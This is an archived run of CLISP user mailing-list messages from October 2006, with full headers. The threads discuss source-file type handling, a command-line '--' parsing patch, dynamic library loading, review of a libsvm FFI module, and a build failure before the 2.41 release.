A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] compile-file merging source pathname with .lisp X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Oct 2006 21:58:28 -0000 Far=C3=A9 writes: > When I switched cl-launch to compile the current script, and tried to > create cl-launch scripts that didn't have a .sh extension, I realized > that clisp systematically merge-pathnames any provided source pathname > to add the type "lisp". This means that it's impossible to > compile-file a source file that doesn't have an extension at all > (unless you symlink it with another name). >=20 > I think this is a bug that goes against the specification. > Automatically adding ".lisp" shouldn't be done at all, at least, not > if a file already exists without this extension. >=20 > In the meantime, I've changed cl-launch to load without compiling when > a file has no extension. Perhaps pushing "" onto CUSTOM:*SOURCE-FILE-TYPES* would help? --=20 __Pascal Bourguignon__ http://www.informatimago.com/ READ THIS BEFORE OPENING PACKAGE: According to certain suggested versions of the Grand Unified Theory, the primary particles constituting this product may decay to nothingness within the next four hundred million years. From fahree@gmail.com Mon Oct 09 15:37:56 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GX3ky-0003H8-Kd for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 15:37:56 -0700 Received: from wx-out-0506.google.com ([66.249.82.229]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GX3kv-0007kw-9F for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 15:37:56 -0700 Received: by wx-out-0506.google.com with SMTP id r21so2214778wxc for ; Mon, 09 Oct 2006 15:37:52 -0700 (PDT) Received: by 10.70.38.12 with SMTP id l12mr12182511wxl; Mon, 09 Oct 2006 15:37:52 -0700 (PDT) Received: by 10.70.112.11 with HTTP; Mon, 9 Oct 2006 15:37:51 -0700 (PDT) Message-ID: <653bea160610091537p7395b5f2t31310211830996d5@mail.gmail.com> Date: Mon, 9 Oct 2006 18:37:51 -0400 From: "=?ISO-8859-1?Q?Far=E9?=" To: clisp-list@lists.sourceforge.net In-Reply-To: <452AC3C9.2090904@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <653bea160610091436w68f26489o3bbaa9e3b227e713@mail.gmail.com> <452AC3C9.2090904@gnu.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] compile-file merging source pathname with .lisp X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Oct 2006 22:37:56 -0000 Thanks a lot! By setting it CUSTOM:*SOURCE-FILE-TYPES* to nil, I can happily compile cl-launch scripts. Will be in cl-launch 1.91. NB: not an issue in cl-launch 1.90 when either dump images or having scripts with an extension in name -- my regression test suite didn't find it because it creates scripts with names in .sh. [ Fran=E7ois-Ren=E9 =D0VB Rideau | Reflection&Cybernethics | http://fare.tu= nes.org ] -- Question authority! -- Yeah, says who? On 09/10/06, Sam Steingold wrote: > Far=E9 wrote: > > When I switched cl-launch to compile the current script, and tried to > > create cl-launch scripts that didn't have a .sh extension, I realized > > that clisp systematically merge-pathnames any provided source pathname > > to add the type "lisp". This means that it's impossible to > > compile-file a source file that doesn't have an extension at all > > (unless you symlink it with another name). > > > > I think this is a bug that goes against the specification. > > Automatically adding ".lisp" shouldn't be done at all, at least, not > > if a file already exists without this extension. > > see CUSTOM:*SOURCE-FILE-TYPES* > http://clisp.cons.org/impnotes/system-dict.html#compilefile > http://clisp.cons.org/impnotes/system-dict.html#loadfile From fahree@gmail.com Mon Oct 09 18:13:26 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GX6BS-0007fp-EA for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 18:13:26 -0700 Received: from wx-out-0506.google.com ([66.249.82.237]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GX6BR-00068A-3d for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 18:13:26 -0700 Received: by wx-out-0506.google.com with SMTP id r21so2264478wxc for ; Mon, 09 Oct 2006 18:13:24 -0700 (PDT) Received: by 10.70.84.6 with SMTP id h6mr12383247wxb; Mon, 09 Oct 2006 18:13:24 -0700 (PDT) Received: by 10.70.112.11 with HTTP; Mon, 9 Oct 2006 18:13:24 -0700 (PDT) Message-ID: <653bea160610091813u442a17f6j9a4782ad4a8e08ad@mail.gmail.com> Date: Mon, 9 Oct 2006 21:13:24 -0400 From: "=?ISO-8859-1?Q?Far=E9?=" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] clisp and -- X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 10 Oct 2006 01:13:26 -0000 When invoking clisp, cl-launch tries to provide parameters to the launched software by giving them to clisp after -- as an argument separator. This kind of works well, but fails in some strange circumstances, if the rest of the arguments don't look like an invocation of clisp. clisp -- nodash -anything # OK clisp -- -I # OK clisp -- -z # WRONG clisp -- -x 1 # OK clisp -- -x # WRONG I don't even see "--" documented in either the man page or the impnotes, so if anything I'm happily surprised that this worked for me so well so far. My workaround is to use "--" "foo" as a double separator. "--" seems to tell clisp no to do anything about following arguments, and "foo" seems to tell clisp to not even do a preliminary syntax check of what follows. I then take the cdr of ext:*args* to deduce what are the arguments to the launched software. I think this might be a bug in clisp, and/or something missing in the documentation. Thanks for this piece of software... [ Fran=E7ois-Ren=E9 =D0VB Rideau | Reflection&Cybernethics | http://fare.tu= nes.org ] If you think you can do a thing or think you can't do a thing, you're right= . -- Henry Ford From fahree@gmail.com Tue Oct 10 09:01:08 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GXK2W-00043h-6v for clisp-list@lists.sourceforge.net; Tue, 10 Oct 2006 09:01:08 -0700 Received: from wx-out-0506.google.com ([66.249.82.228]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GXK2U-0001W3-Rc for clisp-list@lists.sourceforge.net; Tue, 10 Oct 2006 09:01:08 -0700 Received: by wx-out-0506.google.com with SMTP id r21so2503101wxc for ; Tue, 10 Oct 2006 09:01:06 -0700 (PDT) Received: by 10.70.83.8 with SMTP id g8mr13721200wxb; Tue, 10 Oct 2006 09:01:05 -0700 (PDT) Received: by 10.70.112.11 with HTTP; Tue, 10 Oct 2006 09:01:05 -0700 (PDT) Message-ID: <653bea160610100901t7e78a9ccy61f29f61712dbc0c@mail.gmail.com> Date: Tue, 10 Oct 2006 12:01:05 -0400 From: "=?ISO-8859-1?Q?Far=E9?=" To: clisp-list@lists.sourceforge.net In-Reply-To: <452B9C41.8050706@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <653bea160610091813u442a17f6j9a4782ad4a8e08ad@mail.gmail.com> <452B9C41.8050706@gnu.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] clisp and -- X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 10 Oct 2006 16:01:08 -0000 That's exactly it! Thanks for this prompt bugfix! Will it be committed? Sorry for not being specific enough in the bug report. [ Fran=E7ois-Ren=E9 =D0VB Rideau | Reflection&Cybernethics | http://fare.tu= nes.org ] Disraeli was pretty close: actually, there are Lies, Damn lies, Statistics, Benchmarks, and Delivery dates. On 10/10/06, Sam Steingold wrote: > > clisp -- nodash -anything # OK > > clisp -- -I # OK > > clisp -- -z # WRONG > > clisp -- -x 1 # OK > > clisp -- -x # WRONG > since you tell us nothing from the list in > http://clisp.cons.org/impnotes/clisp.html#bugs > and you did not even tell us if "clisp" is the driver or your own executa= ble > image, and you did not tell us exactly what you want and what you get ins= tead, > I can only guess as to what the problem might be. > you can try this patch though: > > > --- _clisp.c 07 Jul 2005 05:57:39 -0400 1.37 > +++ _clisp.c 10 Oct 2006 09:11:48 -0400 > @@ -246,8 +246,9 @@ > case 'n': /* -norc */ > case 'r': /* -repl */ > case 'v': > - case '-': > break; > + case '-': > + goto done_options; > /* Skippable options with arguments. */ > case 'm': > case 's': From sds@gnu.org Tue Oct 10 19:05:58 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GXTTq-0007qx-0M for clisp-list@lists.sourceforge.net; Tue, 10 Oct 2006 19:05:58 -0700 Received: from mta3.srv.hcvlny.cv.net ([167.206.4.198]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GXTTo-0002NA-Hi for clisp-list@lists.sourceforge.net; Tue, 10 Oct 2006 19:05:57 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta3.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J6Y001G58HLYV43@mta3.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Tue, 10 Oct 2006 22:05:46 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 4C5F621E097; Tue, 10 Oct 2006 22:05:45 -0400 (EDT) Date: Tue, 10 Oct 2006 22:05:45 -0400 From: Sam Steingold To: clisp-list@lists.sourceforge.net Mail-followup-to: clisp-list@lists.sourceforge.net, Joerg-Cyril.Hoehle@t-systems.com, Bruno Haible Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Cc: Bruno Haible , Joerg-Cyril.Hoehle@t-systems.com Subject: [clisp-list] dlopen & search for a dynamic library X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 11 Oct 2006 02:05:58 -0000 CLISP passes the :LIBRARY argument to dlopen (or LoadLibrary) as is. Should it "DWIM" instead? E.g., should it try to (optionally, of course) append ".so" (or ".dll")? Should it try to prepend "lib" (on unix)? In that case (:LIBRARY "pq") will open "libpq.so" on Unix and "pq.dll" on woe32 -- thus enabling portable code. Do any other lisps (or perl/python/ruby whatever) do anything like that? The CLISP function that opens the library, libopen, has the following comment: /* FIXME: On UNIX_DARWIN, need to search for the library in /usr/lib */ Does that mean that on all other unixes dlopen searches /usr/lib automatically, but not on osx? PS. I am yet to see a compelling argument for FFI:OPEN-FOREIGN-LIBRARY... -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://truepeace.org http://palestinefacts.org http://honestreporting.com http://israelnorthblog.livejournal.com Ph.D. stands for "Phony Doctor" - Isaak Asimov, Ph.D. From sds@gnu.org Tue Oct 10 20:24:04 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GXUhQ-0006XY-HZ for clisp-list@lists.sourceforge.net; Tue, 10 Oct 2006 20:24:04 -0700 Received: from mta2.srv.hcvlny.cv.net ([167.206.4.197]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GXUhM-0002Dl-SV for clisp-list@lists.sourceforge.net; Tue, 10 Oct 2006 20:24:04 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta2.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J6Y000VOC3VZJG3@mta2.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Tue, 10 Oct 2006 23:23:55 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id BE2F421E097; Tue, 10 Oct 2006 23:23:54 -0400 (EDT) Date: Tue, 10 Oct 2006 23:23:54 -0400 From: Sam Steingold To: clisp-list@lists.sourceforge.net Mail-followup-to: clisp-list@lists.sourceforge.net Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] next release X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 11 Oct 2006 03:24:05 -0000 I consider the libsvm module to be done, so everyone interested in KDML (Knowledge Discovery - Data Mining - Machine Learning) should try the CVS head ASAP. Everyone using FFI should try it also (there have been some changes). Everyone else should try it too - just to help me avoid the repeat of the embarrassment associated with the bug in the previous release. Thanks. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://israelnorthblog.livejournal.com http://memri.org http://dhimmi.com http://jihadwatch.org http://truepeace.org http://iris.org.il http://pmw.org.il The program isn't debugged until the last user is dead. From fahree@gmail.com Wed Oct 11 14:30:08 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GXleS-0006BX-I7 for clisp-list@lists.sourceforge.net; Wed, 11 Oct 2006 14:30:08 -0700 Received: from wx-out-0506.google.com ([66.249.82.226]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GXleR-0000aa-83 for clisp-list@lists.sourceforge.net; Wed, 11 Oct 2006 14:30:08 -0700 Received: by wx-out-0506.google.com with SMTP id r21so472341wxc for ; Wed, 11 Oct 2006 14:30:02 -0700 (PDT) Received: by 10.70.21.4 with SMTP id 4mr1511437wxu; Wed, 11 Oct 2006 14:30:02 -0700 (PDT) Received: by 10.70.112.11 with HTTP; Wed, 11 Oct 2006 14:30:01 -0700 (PDT) Message-ID: <653bea160610111430w6a838ce6u53d90acceb27c627@mail.gmail.com> Date: Wed, 11 Oct 2006 17:30:02 -0400 From: "=?ISO-8859-1?Q?Far=E9?=" To: clisp-list@lists.sourceforge.net In-Reply-To: <452BC92C.1050902@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <653bea160610091813u442a17f6j9a4782ad4a8e08ad@mail.gmail.com> <452B9C41.8050706@gnu.org> <653bea160610100901t7e78a9ccy61f29f61712dbc0c@mail.gmail.com> <452BC92C.1050902@gnu.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] clisp and -- X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 11 Oct 2006 21:30:09 -0000 Yup, looks better. Works for me! Will *that* be committed to 2.41? [I have a satisfying work-around for now, so I'm in no hurry.] [ Fran=E7ois-Ren=E9 =D0VB Rideau | Reflection&Cybernethics | http://fare.tu= nes.org ] Always remember that you are unique. Just like everyone else. On 10/10/06, Sam Steingold wrote: > Far=E9 wrote: > > That's exactly it! Thanks for this prompt bugfix! Will it be committed? > > no, because it breaks the interaction between gnu-style long options and = things > like -K, e.g., "clisp -K full --version" becomes different from "clisp > --version -K full". > how about this? > > --- _clisp.c 07 Jul 2005 05:57:39 -0400 1.37 > +++ _clisp.c 10 Oct 2006 12:19:00 -0400 > @@ -246,8 +246,10 @@ > case 'n': /* -norc */ > case 'r': /* -repl */ > case 'v': > - case '-': > break; > + case '-': > + if (arg[2] =3D=3D '\0') goto done_options; /* --: end of arg= uments */ > + else break; /* GNU-style long options --help, --version */ > /* Skippable options with arguments. */ > case 'm': > case 's': From Joerg-Cyril.Hoehle@t-systems.com Thu Oct 12 03:02:40 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GXxOi-00037A-Dv for clisp-list@lists.sourceforge.net; Thu, 12 Oct 2006 03:02:40 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GXxOh-00071a-Oo for clisp-list@lists.sourceforge.net; Thu, 12 Oct 2006 03:02:40 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 12 Oct 2006 12:01:39 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Thu, 12 Oct 2006 12:01:39 +0200 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Thu, 12 Oct 2006 12:01:37 +0200 Message-Id: in-reply-to: <452A5332.80607@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] ffi & libsvm feedback on module Thread-Index: AcbrqcX0G9syVJM7R1S0xDebcW76NQCNyrWA From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 12 Oct 2006 10:01:39.0296 (UTC) FILETIME=[6915AE00:01C6EDE5] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] package exports and finalization trick (was: ffi & libsvm feedback on module) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 12 Oct 2006 10:02:40 -0000 Hi, here are some more comments on the module. o You use the EXPORTING package. This has the side-effect of exporting all foreign functions, including the ones you wrap. E.g. train vs. svm_train. This is confusing to the user. The user MUST NOT use svm_train (prevent duplicate finalization). o Similar for PREDICT-VALUES. svm_predict_values look like internal helpers. IMHO, the package exports should reflect the functions intended to be called and those only. Likewise, I find FASTCGI::GETENV not such a nice solution. I understand that the library author may fear conflicts with user's packages using package "EXT" as a rationale for the choice. Maybe that's a good exception to the above rule, maybe not. Possibly instead of not using EXPORTING, a couple of well-chose UNEXPORT would be great? o Please turn the comments to make-problem about destroy-problem and models into a documentation string. It's good to document contracts. o Finalization >guarding works in the other direction, I think. >I want PROBLEM not to be GCed until MODEL is. Another idea is again to use SET-FOREIGN-POINTER. You can have all models share the pointer of the problem: (set-foreign-pointer model problem) Then problem cannot be finalized until all models are. Of course, you must destroy the reference within destroy-model. SETF VALID NIL is not enough for that. It's even wrong, since you'd have a single shared pointer, you cannot use (SETF VALID) on the model or you'd kill the problem. But you can act like C++ people: replace the model's pointer with a pointer (to NULL or :COPY) and additionaly make that one invalid. (defun destroy-model (model) when validp model ;; unlink from pointer to problem and prevent further use (setf (validp (set-foreign-pointer model :copy)) nil) You may wish to experiment with that idea. Beside that, I found the code looks very clean. I never tried it out, though. I'm too much into static testing :-) Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Thu Oct 12 04:41:29 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GXywK-0003gU-Uh for clisp-list@lists.sourceforge.net; Thu, 12 Oct 2006 04:41:29 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GXywK-0007Dr-CI for clisp-list@lists.sourceforge.net; Thu, 12 Oct 2006 04:41:28 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP; Thu, 12 Oct 2006 13:41:14 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Thu, 12 Oct 2006 13:41:14 +0200 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Thu, 12 Oct 2006 13:41:12 +0200 Message-Id: in-reply-to: <17702.33629.562920.752978@isis.cs3-inc.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] fastcgi suggestion - access to whole environment Thread-Index: AcbpY/p+aR+6yq1jTJ26PJFD/STkjgEjqecw From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 12 Oct 2006 11:41:14.0406 (UTC) FILETIME=[52871C60:01C6EDF3] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: don-sourceforge-xx@isis.cs3-inc.com Subject: Re: [clisp-list] fastcgi suggestion - access to whole environment X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 12 Oct 2006 11:41:29 -0000 Don, Your suggestion has been implemented in CVS by John Hinsdale. Thank you, John (please add a notice to src/NEWS about it) >I see no documentation on the php site although they claim it works >and various people claim to use it. http://lighttpd.net/documentation/fastcgi.html says "One of the most important application that has a FastCGI interface is php which can be downloaded from http://www.php.net/ . You have to recompile the php from source to enable the FastCGI interface as it is normally not enabled by default in the distributions." Maybe this helps, Jorg. From jdunrue@gmail.com Thu Oct 12 22:52:45 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GYFyO-0002SH-Tk for clisp-list@lists.sourceforge.net; Thu, 12 Oct 2006 22:52:45 -0700 Received: from py-out-1112.google.com ([64.233.166.178]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GYFyN-0000Qz-M6 for clisp-list@lists.sourceforge.net; Thu, 12 Oct 2006 22:52:44 -0700 Received: by py-out-1112.google.com with SMTP id x31so929521pye for ; Thu, 12 Oct 2006 22:52:43 -0700 (PDT) Received: by 10.35.98.6 with SMTP id a6mr4930019pym; Thu, 12 Oct 2006 22:52:42 -0700 (PDT) Received: by 10.35.51.2 with HTTP; Thu, 12 Oct 2006 22:52:42 -0700 (PDT) Message-ID: Date: Thu, 12 Oct 2006 23:52:42 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] next release X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Oct 2006 05:52:45 -0000 On 10/10/06, Sam Steingold wrote: > I consider the libsvm module to be done, so everyone interested in > KDML (Knowledge Discovery - Data Mining - Machine Learning) should try > the CVS head ASAP. > Everyone using FFI should try it also (there have been some changes). > Everyone else should try it too - just to help me avoid the repeat of > the embarrassment associated with the bug in the previous release. > Thanks. Sorry I didn't try this a couple of days ago. In building 2.41 on MinGW, I find that wildcard.fas fails to load: ;; Loading file C:\projects\third_party\build\clisp-2.41\build-without-readline\wildcard\wildcard.fas ... WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "fnmatch" does not exist Skip foreign function creation WARNING: FFI::FIND-FOREIGN-FUNCTION: foreign function "MODULE__WILDCARD__CONSTANT_MAP_INT" does not exist Skip foreign function creation *** - funcall: undefined function MODULE__WILDCARD__CONSTANT_MAP_INT ./clisp-link: failed in /c/projects/third_party/build/clisp-2.41/build-without-readline make: *** [full] Error 1 I will leave out the wildcard module and redo my build, and try the FFI callback fix. -- Jack Unrue From sds@gnu.org Thu Oct 12 22:55:34 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GYG18-0002iF-JG for clisp-list@lists.sourceforge.net; Thu, 12 Oct 2006 22:55:34 -0700 Received: from mta9.srv.hcvlny.cv.net ([167.206.4.204]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GYG16-000186-7X for clisp-list@lists.sourceforge.net; Thu, 12 Oct 2006 22:55:34 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta9.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J72001PI8F0H1F0@mta9.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Fri, 13 Oct 2006 01:54:36 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id C8A7621E097; Fri, 13 Oct 2006 01:55:25 -0400 (EDT) Date: Fri, 13 Oct 2006 01:55:25 -0400 From: Sam Steingold In-reply-to: To: clisp-list@lists.sourceforge.net, Jack Unrue Mail-followup-to: clisp-list@lists.sourceforge.net, Jack Unrue Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] next release X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 13 Oct 2006 05:55:34 -0000 > * Jack Unrue [2006-10-12 23:52:42 -0600]: > > Sorry I didn't try this a couple of days ago. indeed. > In building 2.41 on MinGW, I find that wildcard.fas fails to load: please try downloading the source distribution in a couple of hours. sorry. -- Sam 